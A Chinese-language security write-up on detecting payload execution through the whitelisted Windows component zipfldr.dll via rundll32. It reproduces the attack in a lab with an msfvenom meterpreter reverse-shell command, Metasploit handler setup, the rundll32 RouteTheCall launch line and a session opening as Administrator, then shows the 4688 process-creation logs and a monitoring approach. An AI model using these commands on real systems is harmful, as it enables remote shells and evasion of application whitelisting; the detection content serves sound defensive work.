監控白名單Zipfldr.dll執行Payload

簡介

zipfldr.dll自Windows xp開始自帶的zip文件壓縮/解壓工具組件,同樣該工具支持WinXP-Win10 全版本,zipfldr.dll所在路徑已被系統添加PATH環境變量中,因此zipfldr.dll命令可識別,但由於爲dll文件,需調用rundll32.exe來執行。

補充說明:在高版本操作系統中,可以通過配置策略,對進程命令行參數進行記錄。日誌策略開啓方法:本地計算機策略>計算機配置>管理模板>系統>審覈進程創建>在過程創建事件中加入命令行>啓用,同樣也可以在不同版本操作系統中部署sysmon,通過sysmon日誌進行監控。

Windows 2003 默認位置:

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

Windows 7 默認位置:

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

檢測日誌

windows 安全日誌(需要自行配置)

測試復現

環境準備

攻擊機:Kali2019

靶機:windows server 2012

攻擊分析

生成payload.dll

root@12306Br0:~# msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe

執行監聽

攻擊機,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一個強大的自動化的後滲透工具,這裏migrate參數是遷移木馬到其他進程)

msf5 > use exploits/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set AutoRunScript migrate f
AutoRunScript => migrate f
msf5 exploit(multi/handler) > exploit

靶機執行payload

rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe #shell.exe存放路徑下執行

反彈shell

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.126.146:4444
[*] Sending stage (180291 bytes) to 192.168.126.156
[*] Meterpreter session 6 opened (192.168.126.146:4444 -> 192.168.126.156:49176) at 2020-04-13 10:54:22 +0800
[*] Session ID 6 (192.168.126.146:4444 -> 192.168.126.156:49176) processing AutoRunScript 'migrate f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]

meterpreter > getuid
Server username: WIN-IFPMACUK8BT\Administrator

日誌分析

安全日誌能夠清晰的記錄命令行參數,截取windows安全事件4688進程創建部分內容:

進程信息: #4688-1
新進程 ID:0x918
新進程名稱:C:\Windows\System32\rundll32.exe
令牌提升類型:TokenElevationTypeDefault (1)
創建者進程 ID:0x948
進程命令行:rundll32.exe  zipfldr.dll,RouteTheCall .\shell.exe

進程信息: #4688-2
新進程 ID:0x94c
新進程名稱:C:\Users\Administrator\Desktop\a\shell.exe
令牌提升類型:TokenElevationTypeDefault (1)
創建者進程 ID:0x918
進程命令行:"C:\Users\Administrator\Desktop\a\shell.exe"

監控思路

無具體檢測規則,可根據進程創建事件4688/1(進程名稱、命令行)進行監控。本監控方法需要自行安裝配置審覈策略/sysmon。

參考推薦

基於白名單的Payload:https://blog.csdn.net/weixin_30790841/article/details/101848854

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章